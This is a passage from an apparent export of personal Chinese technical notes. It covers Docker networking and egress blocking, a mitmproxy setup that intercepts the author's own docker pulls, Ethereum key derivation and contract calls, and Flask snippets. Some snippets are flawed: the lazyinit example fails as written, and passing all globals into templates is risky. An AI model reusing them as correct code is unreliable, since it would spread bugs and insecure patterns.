inspect命令可以获取容器拥有的所有IP\r\n\r\n```\r\n#!/bin/bash\r\nset -ex\r\nDOCKERNAME=\"xxx\"\r\nNAME=\"xx\"\r\n\r\nshopt -s expand_aliases\r\nsudo mkdir -p /var/run/netns\r\nID=`docker inspect --format='{{ .State.Pid }}' ${DOCKERNAME}`\r\nsudo ln -sf \"/proc/$ID/ns/net\" /var/run/netns/${NAME}\r\nalias i=\"sudo ip netns exec ${NAME} iptables\"\r\ni -F\r\ni -P FORWARD DROP # we aren't a router\r\ni -A INPUT -m state --state INVALID -j DROP\r\ni -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT\r\ni -A INPUT -i lo -j ACCEPT\r\n\r\ndocker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{\"\\n\"}}{{end}}' ${DOCKERNAME}|xargs -i sudo ip netns exec ${NAME} iptables -A INPUT -s '{}/24' -j ACCEPT\r\ni -P INPUT DROP # Drop everything we don't accept\r\n```\r\n\r\n## 从/var/lib/docker提取容器开始时间\r\n\r\n读取/var/lib/docker/containers/*/config.v2.json可以读到容器开始时间\r\n\r\n但使用同一个文件夹下hostname这个文件的时间戳更可靠，无需考虑时区换算不同服务器时间不同步等问题。计算文件产生的相对时间用os.path.getmtime(这个文件)减去这个时间戳即可。\r\n\r\n导入到mysql 完整代码： 执行的时候需要server name作为参数\r\n\r\n```\r\nfrom bugid import runsql\r\nimport os,sys,glob,json\r\nimport datetime\r\nimport re\r\nserver = sys.argv[1]\r\nos.chdir(\"/var/lib/docker/containers\")\r\nsql = \"replace into dockers(server, name, id, starttime, runningtime, memlimit) values \"\r\nsqlpending = []\r\nt = 0\r\nfor i in glob.glob(\"*/\"):\r\n    if not os.path.exists(i+\"hostname\"):\r\n        #print(i)\r\n        continue\r\n    data = json.loads(open(i+\"config.v2.json\").read())\r\n    name = data[\"Name\"]\r\n    starttime = data[\"State\"][\"StartedAt\"]\r\n    endtime = data[\"State\"][\"FinishedAt\"]\r\n    if endtime != \"0001-01-01T00:00:00Z\":\r\n        runningtime = (datetime.datetime.strptime(endtime.split(\".\")[0], \"%Y-%m-%dT%H:%M:%S\") - datetime.datetime.strptime(starttime.split(\".\")[0], \"%Y-%m-%dT%H:%M:%S\")).total_seconds()\r\n    else:\r\n        runningtime = -1\r\n    memlimit = int(json.load(open(i+\"hostconfig.json\"))[\"Memory\"]/1024/1024)\r\n    sqlpending.extend([server, name[1:], i[:-1], int(os.path.getmtime(i+\"hostname\")), runningtime, memlimit])\r\n    sql += \"(%s, %s, %s, %s, %s, %s),\"\r\n\r\n#print(sqlpending)\r\nrunsql(sql[:-1], *sqlpending)\r\n```\r\n\r\n## 固定容器的IP\r\n\r\n参考： https://github.com/johnnian/Blog/issues/16\r\n\r\n默认的bridge网络不支持指定ip，需要再创建一个网络：\r\n\r\n```\r\ndocker network create --subnet=172.18.0.0/16 b\r\n```\r\n\r\n创建容器的时候可以`--network b --ip 172.18.0.2`\r\n\r\n已经存在的容器需要用：\r\n\r\n```\r\ndocker network connect --ip 172.18.0.2 --alias ${name} b ${name}\r\n```\r\n\r\n不想改动docker的network还有个临时的办法：\r\n\r\n## 获取容器IP 更新主机/etc/hosts\r\n\r\n需要先将当前的hosts文件复制为/etc/hosts.base\r\n\r\n其中bridge可能需要改成docker inspect输出的其他network名称\r\n\r\n```\r\n#!/bin/bash\r\nif [[ $EUID -ne 0 ]]; then\r\n   echo \"This script must be run as root\"\r\n   exit 1\r\nfi\r\ncp /etc/hosts.base /etc/hosts\r\necho `docker inspect ${name} --format '{{.NetworkSettings.Networks.bridge.IPAddress}}'`  ${name} >> /etc/hosts\r\n```\r\n\r\n另外 你还可以启动个dns服务的容器来解析容器hostname:\r\n\r\nhttps://stackoverflow.com/questions/37242217/access-docker-container-from-host-using-containers-name/45071126#45071126\r\n\r\n\r\n-----\r\n\r\n## Docker容器禁止主动联网 但对外提供web服务\r\n\r\n@TAG 端口映射 ctf\r\n\r\n首先排除`--network none`，这样没有网卡怎么做端口映射\r\n\r\n下面假设容器名称为`${CONTAINER}`，容器启动的http服务端口为5000\r\n\r\n### 简单方案 直接删除默认路由\r\n\r\n```\r\nnsenter --target `docker inspect --format '{{.State.Pid}}' ${CONTAINER}`  --net --pid route delete default\r\n```\r\n\r\n好处在于访问网络的请求能迅速报错`Network is unreachable`，也不需要额外的容器参数配置\r\n\r\n但容器每次重启都需要重新执行\r\n\r\n### 复杂方案 创建个内部网络 Nginx转发\r\n\r\ndocker的创建网络提供了`--internal`参数，意思是不允许这个网络访问外界，但是访问网络的请求不会立刻返回，效果像是一直丢包就没响应\r\n\r\n这里我们创建一个名为`${CONTAINER}_nonet`的网络，启动容器的时候指定这个网络并配置别名app\r\n\r\n然后还需要Nginx容器同时加入默认网络和这个网络来进行转发，Nginx容器一开始创建后的启动会报错反复重启（无法解析app），加入网络后即可正常启动\r\n\r\n```\r\ndocker network create ${CONTAINER}_nonet --internal\r\ndocker run --network ${CONTAINER}_nonet --network-alias app ...\r\ndocker run --name ${CONTAINER}_nginx -d -v `pwd`/nginxconf:/etc/nginx/conf.d -p 20528:80 --restart=always nginx\r\ndocker network connect ${CONTAINER}_nonet ${CONTAINER}_nginx --alias nginx\r\n```\r\n\r\n其中nginxconf文件夹里放一个default.conf:\r\n\r\n```\r\nserver {\r\n    listen       80;\r\n    server_name  localhost;\r\n    location / {\r\n        proxy_pass http://app:5000;\r\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\r\n    }\r\n}\r\n```\r\n\r\n既然用了反向代理，应用层也需要配置一下IP相关的修复才能使日志显示访问者ip（而不是Nginx容器的IP），比如Flask 1.0需要：\r\n\r\n```\r\nfrom werkzeug.middleware.proxy_fix import ProxyFix\r\napp.wsgi_app = ProxyFix(app.wsgi_app)\r\n```\r\n\r\n这个方案有点复杂，但好处在于重启容器不需要额外配置，反正连不上网\r\n\r\n坏处在于访问网络的请求会一直卡住，应用层需要自己考虑超时\r\n\r\n你可以把这两种方案结合起来，即使忘了删默认路由也能保证不能联网\r\n\r\n## 私有registry的api\r\n\r\n文档： https://docs.docker.com/registry/spec/api/\r\n\r\n列出所有镜像： `/v2/_catalog`\r\n\r\n列出指定镜像的所有标签： `/v2/<name>/tags/list`\r\n\r\n------\r\n\r\n## 配置docker pull使用代理\r\n\r\n官方文档： [https://docs.docker.com/config/daemon/systemd/#httphttps-proxy](https://docs.docker.com/config/daemon/systemd/#httphttps-proxy)\r\n\r\n```\r\nmkdir -p /etc/systemd/system/docker.service.d\r\nvi /etc/systemd/system/docker.service.d/http-proxy.conf\r\nsystemctl daemon-reload\r\nsystemctl restart docker\r\nsystemctl show --property=Environment docker\r\n```\r\n\r\n```\r\n[Service]\r\nEnvironment=\"HTTP_PROXY=http://proxy.example.com:80\"\r\nEnvironment=\"HTTPS_PROXY=https://proxy.example.com:443\"\r\nEnvironment=\"NO_PROXY=localhost,127.0.0.1,docker-registry.example.com,.corp\"\r\n```\r\n\r\n-----\r\n\r\n## 配置docker daemon退出时不自动关闭容器\r\n\r\n参考： [https://docs.docker.com/config/containers/live-restore/](https://docs.docker.com/config/containers/live-restore/)\r\n\r\n```\r\n# vi /etc/docker/daemon.json\r\n{\r\n  \"live-restore\": true\r\n}\r\n# systemctl reload docker\r\n```\r\n\r\n## 使用mitmproxy观察docker pull流量\r\n\r\n```\r\nwget https://downloads.mitmproxy.org/10.4.2/mitmproxy-10.4.2-linux-x86_64.tar.gz\r\ntar xvf mitmproxy-10.4.2-linux-x86_64.tar.gz\r\n./mitmweb -p 8441 --no-web-open-browser --web-port 18441 --web-host 0.0.0.0 --set block_global=false\r\ncp ~/.mitmproxy/mitmproxy-ca-cert.cer /usr/share/ca-certificates/extra\r\necho \"extra/mitmproxy-ca-cert.cer\" >> /etc/ca-certificates.conf\r\nupdate-ca-certificates\r\nvi /etc/systemd/system/docker.service.d/http-proxy.conf\r\nsystemctl daemon-reload\r\nsystemctl restart docker\r\n```\r\n\r\n`http-proxy.conf` 文件内容\r\n\r\n```\r\n[Service]\r\nEnvironment=\"HTTP_PROXY=http://127.0.0.1:8441\"\r\nEnvironment=\"HTTPS_PROXY=http://127.0.0.1:8441\"\r\n```\r\n\r\n然后打开 `http://IP:18441` ， 执行 docker pull 命令即可\r\n"
  },
  {
    "path": "ETH.md",
    "content": "## ETH\r\n\r\n学习一下以太坊，目前可以在区块链上刻字了，每个交易可以存储30K的内容\r\n\r\n## 获取测试网络ropsten的ETH\r\n\r\n目前的faucet列表，不过有可能他们工作在fork上，获得的eth不能在etherscan上看到\r\n\r\n> 近期以太坊Ropsten测试网的Istanbul升级由于大部分算力没有升级节点软件，实际上已经发生了分叉\r\n\r\n- https://faucet.ropsten.be\r\n- https://faucet.metamask.io\r\n- http://faucet.bitfwd.xyz\r\n\r\n## 生成一堆与MetaMask兼容的地址\r\n\r\nMetaMask等钱包的工作原理是从一串seed phrase生成一系列私钥\r\n\r\n使用[lightwallet](https://github.com/ConsenSys/eth-lightwallet)这个npm包来生成MetaMask兼容的1000个地址\r\n\r\n```\r\n# 需要使用版本2，更新的版本修改了API需要提供salt\r\n$ npm install eth-lightwallet@2.5.6\r\n\r\n# 修改node_modules\\_bitcore-lib@8.14.4@bitcore-lib\\index.js添加一个return\r\n# bitcore.versionGuard = function(version) {return;\r\n\r\nvar lightwallet = require(\"eth-lightwallet\");\r\nvar secretSeed = 从metamask复制\r\nvar password = 随意设置一个密码，在内存中存储的是使用这个密码加密后的私钥\r\nvar hdPathString = \"m/44'/60'/0'/0\";\r\nvar ks; \r\nlightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) {\r\n    ks = new lightwallet.keystore(secretSeed, pwDerivedKey, hdPathString);\r\n    //console.log(ks);\r\n    ks.generateNewAddress(pwDerivedKey, 1000, hdPathString);\r\n    for(var i of ks.getAddresses(hdPathString)){\r\n        console.log(i, ks.exportPrivateKey(i, pwDerivedKey, hdPathString));\r\n    }\r\n})\r\n```\r\n\r\n## Python发起交易(Web3.py)\r\n\r\npip3 install web3，需要python3.7 （[在Ubuntu16.04上安装Python 3.7](https://py3.io/Python/#ubuntu1604python37)）\r\n\r\n在infura.io注册，得到一个project id，设置为环境变量WEB3_INFURA_PROJECT_ID\r\n\r\n```\r\nimport os\r\nos.environ[\"WEB3_INFURA_PROJECT_ID\"]=\"从infura.io复制\"\r\nfrom web3.auto.infura.ropsten import w3\r\nfrom base64 import b16encode\r\ndef senddata(privatekey, data, to=None, nonce=None):\r\n    addr = w3.eth.account.privateKeyToAccount(privatekey).address\r\n    if not to:\r\n        to = addr\r\n    if not to.startswith(\"0x\"):\r\n        to = \"0x\"+to\r\n    if len(data)>30*1024:\r\n        raise Exception(\"data too big\")\r\n    if nonce is None:\r\n        nonce=w3.eth.getTransactionCount(addr)\r\n    tx=dict(nonce=nonce, gasPrice=2000000000, gas=5940000, to=to, value=0, data=data)\r\n    stx=w3.eth.account.sign_transaction(tx, privatekey)\r\n    return b16encode(w3.eth.sendRawTransaction(stx.rawTransaction)).decode().lower()\r\n```\r\n\r\n## 地址交易查询API\r\n\r\n\r\n注意etherscan.io使用了cloudflare，必须设置一个User-Agent才能调用\r\n\r\n目前还不需要apikey就能直接调用\r\n\r\n```\r\nimport requests\r\ndef gettx(addr):\r\n    return requests.get(\"https://api-ropsten.etherscan.io/api?module=account&action=txlist&address=\"+addr+\"&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken\", headers={\"User-Agent\":\"ethquery\"}).json()[\"result\"]\r\n```\r\n\r\n返回的数组可能每个交易都重复了两次，需要去重：\r\n\r\n```\r\nseenhash = []\r\nfor tx in gettx(addr):\r\n    if len(tx[\"input\"])>2 and tx[\"hash\"] not in seenhash:\r\n        # 处理tx[\"input\"]\r\n        seenhash.append(tx[\"hash\"])\r\n```\r\n\r\n## 时间戳转block id\r\n\r\n有些时候我们需要知道特定时间点的区块高度，来查询当时的合约数据\r\n\r\n不依赖etherscan的方法可以按照当前区块高度、已经流逝的时间和[出块速度](https://etherscan.io/chart/blocktime)进行计算，算出来的blockid再调用web3 API查询timestamp再次计算，直到误差小于阈值即可\r\n\r\netherscan提供了这个API: https://etherscan.io/apis#blocks\r\n\r\n```\r\ncache={}\r\napikey=\"\"\r\ndef timestamp2blockid(ts, retry=3):\r\n    cachekey = \"timestamp2blockid_\"+str(ts)\r\n    if cachekey in cache:\r\n        #print(\"cache used\")\r\n        return cache[cachekey]\r\n    x = sess.get(\"https://api.etherscan.io/api?module=block&action=getblocknobytime&timestamp=\"+str(ts)+\"&closest=before&apikey=\"+apikey)\r\n    #print(x.json())\r\n    if 'result' not in x.json():\r\n        if retry:\r\n            print(\"[retry] timestamp2blockid\", ts)\r\n            return timestamp2blockid(ts, retry=retry-1)\r\n        else:\r\n            print(x.json())\r\n    res = x.json()[\"result\"]\r\n    cache[cachekey] = res\r\n    return res\r\n```\r\n\r\n## 根据函数名调用合约\r\n\r\n标记了view的函数可以直接在etherscan读取合约调用，但有些函数不会涉及写操作，我们也可以自己调用而不用发起链上交易（即使交易也拿不到返回值）\r\n\r\n首先我们需要了解eth_call的data 前4个字节就是函数签名的哈希，哈希算法是keccak_sha3取前4个字节\r\n\r\n这东西叫做ABI， 文档： [https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html](https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html)\r\n\r\n例如balanceOf函数只接受一个地址作为参数，它的签名就是`balanceOf(address)`，哈希是`70a08231`，你可以观察metamask后台发送的流量就可以确认这一点\r\n\r\n使用Python不依赖web3计算这个哈希： 你可能需要`python3 -m pip install pycryptodome`\r\n\r\n```\r\nfrom Crypto.Hash import keccak\r\ndef function_hash(func_str):\r\n    return keccak.new(digest_bits=256).update(func_str.encode(\"utf-8\")).hexdigest()[:8]\r\n```\r\n\r\n有了函数哈希后 再拼接函数调用参数就能发起eth_call了，比如我们需要把地址在左边补0补齐到64字节（也就是256bit）\r\n\r\n```\r\nimport requests\r\nsess = requests.session()\r\nsess.headers.update({\"Content-Type\":\"application/json\"})\r\nWEB3_ENDPOINT = \"\" #change to your infura.io project url\r\n\r\ndef addrtoarg(addr):\r\n    return addr.lower().rjust(64, \"0\")\r\n\r\ncache={}\r\ndef callfunction(addr, func_str, args_str, blockid, returnint=True, usecache=False):\r\n    cachekey = \"_\".join((\"callfunction\", addr, func_str, args_str, str(blockid)))\r\n    try:\r\n        height = hex(int(blockid))\r\n    except:\r\n        height = blockid\r\n    if usecache and cachekey in cache and blockid!=\"latest\":\r\n        res = cache[cachekey]\r\n    else:\r\n        data = {\r\n            \"id\":1, \"jsonrpc\":\"2.0\",\r\n            \"method\":\"eth_call\",\r\n            \"params\":[{\"data\": \"0x\"+function_hash(func_str)+args_str, \"to\": addr,}, height]\r\n        }\r\n        x = sess.post(WEB3_ENDPOINT, json=data)\r\n        print(x.json())\r\n        res = x.json()[\"result\"]\r\n        if usecache:\r\n            cache[cachekey] = res\r\n    if not returnint:\r\n        return res\r\n    else:\r\n        return int(res, 16)\r\n```\r\n\r\n其中WEB3_ENDPOINT可以是infura自己注册一个APIKEY后得到的地址\r\n\r\n要获取最新的数据还需要知道当前的区块高度：\r\n\r\n```\r\ndef eth_blockNumber():\r\n    return int(sess.post(WEB3_ENDPOINT, data='{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"eth_blockNumber\",\"params\":[]}').json()[\"result\"], 16)\r\n```\r\n\r\n调用很简单：`mybalance = callfunction(contract_address, \"balanceOfUnderlying(address)\", addrtoarg(my_address), eth_blockNumber())`\r\n\r\n### 更复杂的参数类型\r\n\r\n对于string这种可变长度类型，还是使用python包`eth-abi`吧，例如：\r\n\r\nNFT-Hero里随机数用的blockhashMgr到底是什么合约呢：\r\n\r\nhttps://github.com/nfthero/SuperHero/blob/c87346f36efb09667ad8f0eeaf8df04a710bbecd/Package.sol#L87\r\n\r\n就想要查询一下members这个字典，其类型是`mapping(string => address) public members`，也就意味着可以调用`members(string)`这个函数进行查询：\r\n\r\n```\r\n>>> callfunction(\"https://http-mainnet-node.huobichain.com/\", \"0x42C1aC2AeAEc52E1cc9dC8057b089FA91fa84FC7\", \"members(string)\", base64.b16encode(eth_abi.encode_abi([\"string\"], [\"blockhashMgr\"])).decode().lower(), \"latest\", False)\r\n'0x0000000000000000000000003e259bfe720093abb26a2c3fe57670259b2ebea2'\r\n```\r\n\r\n-----\r\n\r\n## 实例：获取Cake持仓价值\r\n\r\n!!! warning 风险警示\r\n    本文不作为投资建议，本项目合约代码2020/11/05也出过[漏洞导致挖矿奖励代币超发](https://www.cailu.net/article/13144343855663958.html)\r\n\r\n币安智能链上有个抄了Uniswap的[pancakeswap](https://pancakeswap.finance/pools), 网页上当前(2021/01/06)显示质押CAKE的年化228%，那当然是尝试一下咯，于是自然有了需求：计算自己持仓CAKE的实时价值，持仓包含质押奖励的部分\r\n\r\n那么实现这个需求就需要解决两个问题：如何获取自己的CAKE奖励数量，如何获取CAKE的价格信息\r\n\r\n第一个问题好解决，按照上面调用合约即可，合约调用需要两个参数，即使不知道函数选择器和函数参数怎么写，也可以让etherscan来帮我们调用[合约](https://bscscan.com/address/0x73feaa1ee314f8c655e354234017be2193c9e24e#readContract) 看流量即可\r\n\r\n```\r\nWEB3_ENDPOINT='https://bsc-dataseed.binance.org/'\r\ncallfunction(contract_address, \"pendingCake(uint256,address)\", \"0\"*64+addrtoarg(my_address), \"latest\", usecache=False)/10**18\r\n```\r\n\r\n第二个问题：获取CAKE的价值 可以在[pancakeswap.info的token页面](https://pancakeswap.info/token/0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82)看到 当前CAKE的价值显示为$0.64\r\n\r\n通过仔细翻流量+F12看前端js+学GraphQL的写法，发现这个图查询可以一次返回两个内容：\r\n\r\n[https://api.bscgraph.org/subgraphs/name/wowswap/graphql](https://api.bscgraph.org/subgraphs/name/wowswap/graphql)\r\n\r\n```\r\n{\r\n  tokens(where: {id: \"0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82\"}) {\r\n    id\r\n    name\r\n    symbol\r\n    derivedETH\r\n    tradeVolume\r\n    tradeVolumeUSD\r\n    untrackedVolumeUSD\r\n    totalLiquidity\r\n    txCount\r\n    __typename\r\n  }\r\n  bundles(where: {id: 1}) {\r\n    id\r\n    ethPrice\r\n    __typename\r\n  }\r\n}\r\n```\r\n\r\n查询到：\r\n\r\n```\r\n{\r\n  \"data\": {\r\n    \"bundles\": [\r\n      {\r\n        \"__typename\": \"Bundle\",\r\n        \"ethPrice\": \"40.4164616943543110107673755202366\",\r\n        \"id\": \"1\"\r\n      }\r\n    ],\r\n    \"tokens\": [\r\n      {\r\n        \"__typename\": \"Token\",\r\n        \"derivedETH\": \"0.01577253120396104706816941010842497\",\r\n        \"id\": \"0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82\",\r\n        \"name\": \"PancakeSwap Token\",\r\n        \"symbol\": \"Cake\",\r\n        \"totalLiquidity\": \"17457173.064252540875767782\",\r\n        \"tradeVolume\": \"529331425.317628506590140745\",\r\n        \"tradeVolumeUSD\": \"270335080.4687124727090581348114777\",\r\n        \"txCount\": \"659265\",\r\n        \"untrackedVolumeUSD\": \"331587403.3835248774831009549837749\"\r\n      }\r\n    ]\r\n  }\r\n}\r\n```\r\n\r\n将其中的`ethPrice`(实际上是BNB的价格)和`derivedETH`乘起来就是我们需要的价格了，算出来是`$0.6375`\r\n\r\n通用一点还需要调用合约`userInfo(uint256,address)`查询自己的持仓，最后合在一起：\r\n\r\n```\r\n(自己的持仓+pendingpendingCake)*derivedETH*ethPrice\r\n```\r\n\r\n-----\r\n\r\n## erigon 导出所有合约地址\r\n\r\n这样来导出codehash表：\r\n\r\n```\r\n/tank/erigon/build/bin/mdbx_dump -s PlainCodeHash /tank/eth/chaindata/ | gzip > plaincodehash.txt.gz\r\n```\r\n\r\n然后这样处理得到根据codehash去重后的地址列表：\r\n\r\n```\r\nimport gzip\r\noldaddr=None\r\ncodehash=None\r\nseen=set()\r\nfor line in gzip.open(\"plaincodehash.txt.gz\", \"rt\"):\r\n    if len(line)==58:\r\n        addr = line[1:41]\r\n        if addr!=oldaddr:\r\n            if oldaddr and codehash not in seen:\r\n                seen.add(codehash)\r\n                print(oldaddr)\r\n            oldaddr=addr\r\n    elif len(line)==66:\r\n        codehash = line[1:65]\r\nif codehash not in seen:\r\n    print(oldaddr)\r\n```\r\n\r\n"
  },
  {
    "path": "Favorites.md",
    "content": "# Favorites 收藏\r\n\r\n收藏一些有用的资料咯~\r\n\r\n[Intel i386 手册](http://microsym.com/editor/assets/386intel.pdf)\r\n\r\n[i386 手册勘误](https://nju-ics.gitbooks.io/ics2015-programming-assignment/content/i386-typo.html)\r\n\r\n[字符签名生成](http://www.kammerl.de/ascii/AsciiSignature.php)\r\n\r\n例如lean字体：\r\n\r\n```\r\n      _/_/      _/_/      _/_/ \r\n   _/    _/  _/    _/  _/    _/\r\n  _/_/_/_/  _/_/_/_/  _/_/_/_/ \r\n _/    _/  _/    _/  _/    _/  \r\n_/    _/  _/    _/  _/    _/   \r\n```\r\n\r\n\r\n[解释Shell命令每个参数](http://www.explainshell.com/)\r\n\r\n[安全会议的排名](http://faculty.cs.tamu.edu/guofei/sec_conf_stat.htm)\r\n\r\n[建议读的论文](https://d.py3.io/Recommend%2Bpapers.docx)\r\n\r\n[Git Emoji](https://www.webpagefx.com/tools/emoji-cheat-sheet/)\r\n\r\n[Math 识别手写公式 画函数图像](https://webdemo.myscript.com/views/math.html)\r\n\r\n[安全文摘 每天看看](http://wiki.ioin.in/)\r\n\r\n[网站配色](https://www.webdesignrankings.com/resources/lolcolors/)"
  },
  {
    "path": "Flask.md",
    "content": "# Flask 备忘\r\n\r\n常用的一些操作，自己总结的，便于查阅\r\n\r\n## 应用根目录APP_ROOT\r\n\r\n```\r\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\r\n```\r\n\r\n## app.route里的int和POST\r\n\r\n```\r\n@app.route(\"/list/<int:boardid>\")\r\n\r\n@app.route(\"/receive_post\", methods=[\"POST\"])\r\n\r\npost_param = int(request.form.get(\"post_param\",\"0\"))\r\n# get参数用request.args\r\n```\r\n\r\n## render_template引入所有全局变量+局部变量\r\n\r\n```\r\nstr = str\r\nlen = len\r\nint = int\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n    # ... some logic code\r\n    targs = globals()\r\n    targs.update(locals())\r\n    return render_template(\"template.html\", **targs)\r\n```\r\n\r\n## 添加多个静态目录\r\n\r\n```\r\nfrom flask import Flask, render_template, Blueprint, request, redirect\r\napp = Flask(__name__)\r\n\r\nfor path in ['images', 'pic', 'css']:\r\n    blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)\r\n    app.register_blueprint(blueprint)\r\n\r\n```\r\n\r\n## 判断是否手机访问 g.isphone\r\n\r\n```\r\n@app.before_request\r\ndef before_request():\r\n    ua = request.user_agent.string.lower()\r\n    for mobileua in \"android|fennec|iemobile|iphone|opera mini|opera mobi|mobile\".split(\"|\"):\r\n        if mobileua in ua:\r\n            g.isphone = True\r\n            break\r\n    else:\r\n        g.isphone = False\r\n```\r\n\r\n## 限制特定get整数参数的取值\r\n\r\n```\r\ndef limit_param(param_name, default_value, minvalue, maxvalue):\r\n    \"\"\"\r\n    example: p = limit_param(\"p\", 1, 1, 5)\r\n    \"\"\"\r\n    if maxvalue<minvalue:\r\n        maxvalue = minvalue\r\n    try:\r\n        data = int(request.args.get(param_name, default_value))\r\n    except:\r\n        data = default_value\r\n    if data<minvalue:\r\n        data = minvalue\r\n    elif data > maxvalue:\r\n        data = maxvalue\r\n    return data\r\n```\r\n\r\n## 要求登录的decorator\r\n\r\n用法: `@require_login()` 注意使用时添加到`@app.route`行的后面\r\n\r\n```\r\nimport functools\r\nfrom flask import session, abort, redirect\r\ndef require_login(code=200, text=\"login first\", jumptologin=False):\r\n    def real_decorator(func):\r\n        @functools.wraps(func)\r\n        def wrapper(*args,**kwargs):\r\n            if \"username\" not in session:\r\n                if jumptologin:\r\n                    return redirect(\"/signin?error=needlogin&next=\"+signit(request.path))\r\n                elif code==200:\r\n                    return text\r\n                else:\r\n                    abort(code)\r\n            else:\r\n                return func(*args, **kwargs)\r\n        return wrapper\r\n    return real_decorator\r\n```\r\n\r\n## import引入列表\r\n\r\n```\r\nfrom flask import Flask, render_template, Blueprint, request, redirect, Markup, g, session, abort, Response, make_response, send_file, jsonify\r\nfrom werkzeug.utils import secure_filename\r\nimport time\r\nimport datetime\r\nimport random\r\nimport pickle\r\nimport requests\r\nimport os\r\nimport sys\r\nimport traceback\r\nimport mimetypes\r\nimport string\r\nimport re\r\nimport hashlib\r\nimport json\r\n```\r\n\r\n## request怎么拿到url的各个部分\r\n\r\n来自https://stackoverflow.com/questions/15974730/how-do-i-get-the-different-parts-of-a-flask-requests-url\r\n\r\nrequest:\r\n\r\n`curl -XGET http://127.0.0.1:5000/alert/dingding/test?x=y`\r\n\r\nthen:\r\n\r\n```\r\nrequest.method:              GET\r\nrequest.url:                 http://127.0.0.1:5000/alert/dingding/test?x=y\r\nrequest.base_url:            http://127.0.0.1:5000/alert/dingding/test\r\nrequest.url_charset:         utf-8\r\nrequest.url_root:            http://127.0.0.1:5000/\r\nstr(request.url_rule):       /alert/dingding/test\r\nrequest.host_url:            http://127.0.0.1:5000/\r\nrequest.host:                127.0.0.1:5000\r\nrequest.script_root:\r\nrequest.path:                /alert/dingding/test\r\nrequest.full_path:           /alert/dingding/test?x=y\r\n\r\nrequest.args:                ImmutableMultiDict([('x', 'y')])\r\nrequest.args.get('x'):       y\r\n```\r\n\r\n## request其他的部分\r\n\r\n```\r\nrequest.get_data()    POST内容 bytes类型\r\nrequest.endpoint      处理这个请求的函数名称\r\n```\r\n\r\n----\r\n\r\n## 遇到性能瓶颈做profiling看函数耗时\r\n\r\n找到对uwsgi应用做profiling的[dozer](https://mg.pov.lt/blog/profiling-with-dozer.html)库\r\n\r\n使用方法：\r\n\r\n1. 先安装python3对应的uwsgi：`apt install uwsgi-plugin-python3`\r\n2. 写一个python脚本包装app，如`profiler_app.py`：\r\n\r\n```\r\n#!/usr/bin/python3\r\nfrom app import app\r\nfrom dozer import Profiler\r\nappx = Profiler(app, profile_path=\"/tmp/profiles\")\r\n\r\nif __name__ == \"__main__\":\r\n    import os\r\n    os.system(\"uwsgi -w profiler_app:appx --http :80\")\r\n```\r\n\r\n3. 别忘记`mkdir /tmp/profiles` 然后就可以启动了`python3 profiler_app.py`\r\n4. 使用http://127.0.0.1/_profiler/ 查看结果，可以点开每个请求看各个函数耗时详情\r\n\r\n----\r\n\r\n## lazyload 延迟加载耗时的初始化操作\r\n\r\n需求：特定页面需要加载一些耗时的资源，如果在应用启动的时候做加载，此时新来的请求就必须等待这个加载才能完成；而实际上这个init并非所有请求都必须的，想做一个lazyinit: 在不影响正常请求的前提下尽快完成init函数\r\n\r\n我的做法：设计一个`/lazyinit`路由函数做初始化工作，在重新部署/重启flask服务的时候同时启动一个简单的python脚本反复请求这个url直到所有的进程都已经触发\r\n\r\n这样利用uwsgi自身就有的多进程负载均衡，每次最多只会有一个进程做初始化工作，其他进程可以正常处理请求；坏处就是在日志里面产生一些垃圾吧，影响不大\r\n\r\n问题来了 uwsgi怎么知道当前是哪个进程呢 我发现threading提供的进程名称是字符串`b'uWSGIWorker2Core2'`，其中`Worker`后面的数字就是进程ID 不同进程ID的全局变量是不同的\r\n\r\n代码：\r\n\r\nflask中的`/lazyinit`实现，返回处理当前请求的worker id：\r\n\r\n```\r\nimport threading\r\ndef get_workerid():\r\n    # return uwsgi worker id: int\r\n    threadname = threading.current_thread().name\r\n    id_str = threadname.lower().split(\"worker\")[1].split(\"core\")[0]\r\n    return int(id_str)\r\n\r\nHAS_INITED = False\r\n\r\n@app.route(\"/lazyinit\")\r\ndef lazyinit():\r\n    workerid = get_workerid()\r\n    \r\n    if not HAS_INITED: # skip init if has already initialized\r\n        sleep(1) # do real init code...\r\n        HAS_INITED = True\r\n    \r\n    return str(workerid)\r\n```\r\n\r\n这是反复请求的代码，重复请求最多100次，直到所有4个进程都已经触发，其中uwsgi的workerid是从1开始计数的\r\n\r\n```\r\nMAX_TRIES = 100\r\nPROCESS_COUNT = 4\r\n\r\nimport requests\r\ni = 0\r\nstatus = [False]*PROCESS_COUNT\r\nfor i in range(MAX_TRIES):\r\n    id = requests.get(\"http://127.0.0.1/lazyinit?id=\"+str(i)).text\r\n    id = int(id) - 1\r\n    status[id] = True\r\n    if all(status):\r\n        break\r\n```\r\n\r\n## 让app.run启动的服务器使用HTTP/1.1\r\n\r\n就是这个问题： https://www.reddit.com/r/flask/comments/634i5u/make_flask_return_header_response_with_http11/\r\n\r\n人家认为Flask不支持，其实flask使用的是`werkzeug.serving`，最底层还是BaseHTTPRequestHandler，而这个是支持HTTP/1.1的，只是默认HTTP/1.0而已\r\n\r\n实际发送请求`HTTP/1.1 200 OK`是这个类的`send_response`函数，用到`protocol_version`这个属性，而这个属性是类的属性（不是在`__init__`函数赋值的），所以我们可以直接修改 之后创建的对象就会自动拥有新的值\r\n\r\n在调用之前添加以下几行即可\r\n\r\n```\r\ntry:\r\n    from http.server import BaseHTTPRequestHandler\r\nexcept: #PY2\r\n    from BaseHTTPServer import BaseHTTPRequestHandler\r\nBaseHTTPRequestHandler.protocol_version = \"HTTP/1.1\"\r\n```\r\n\r\n## 让render_template直接能使用当前所有变量\r\n\r\n一种直接的做法：注意顺序 局部变量优先于全局变量\r\n\r\n```\r\ntargs = globals()\r\ntargs.update(locals())\r\nrender_template(\"x.html\", 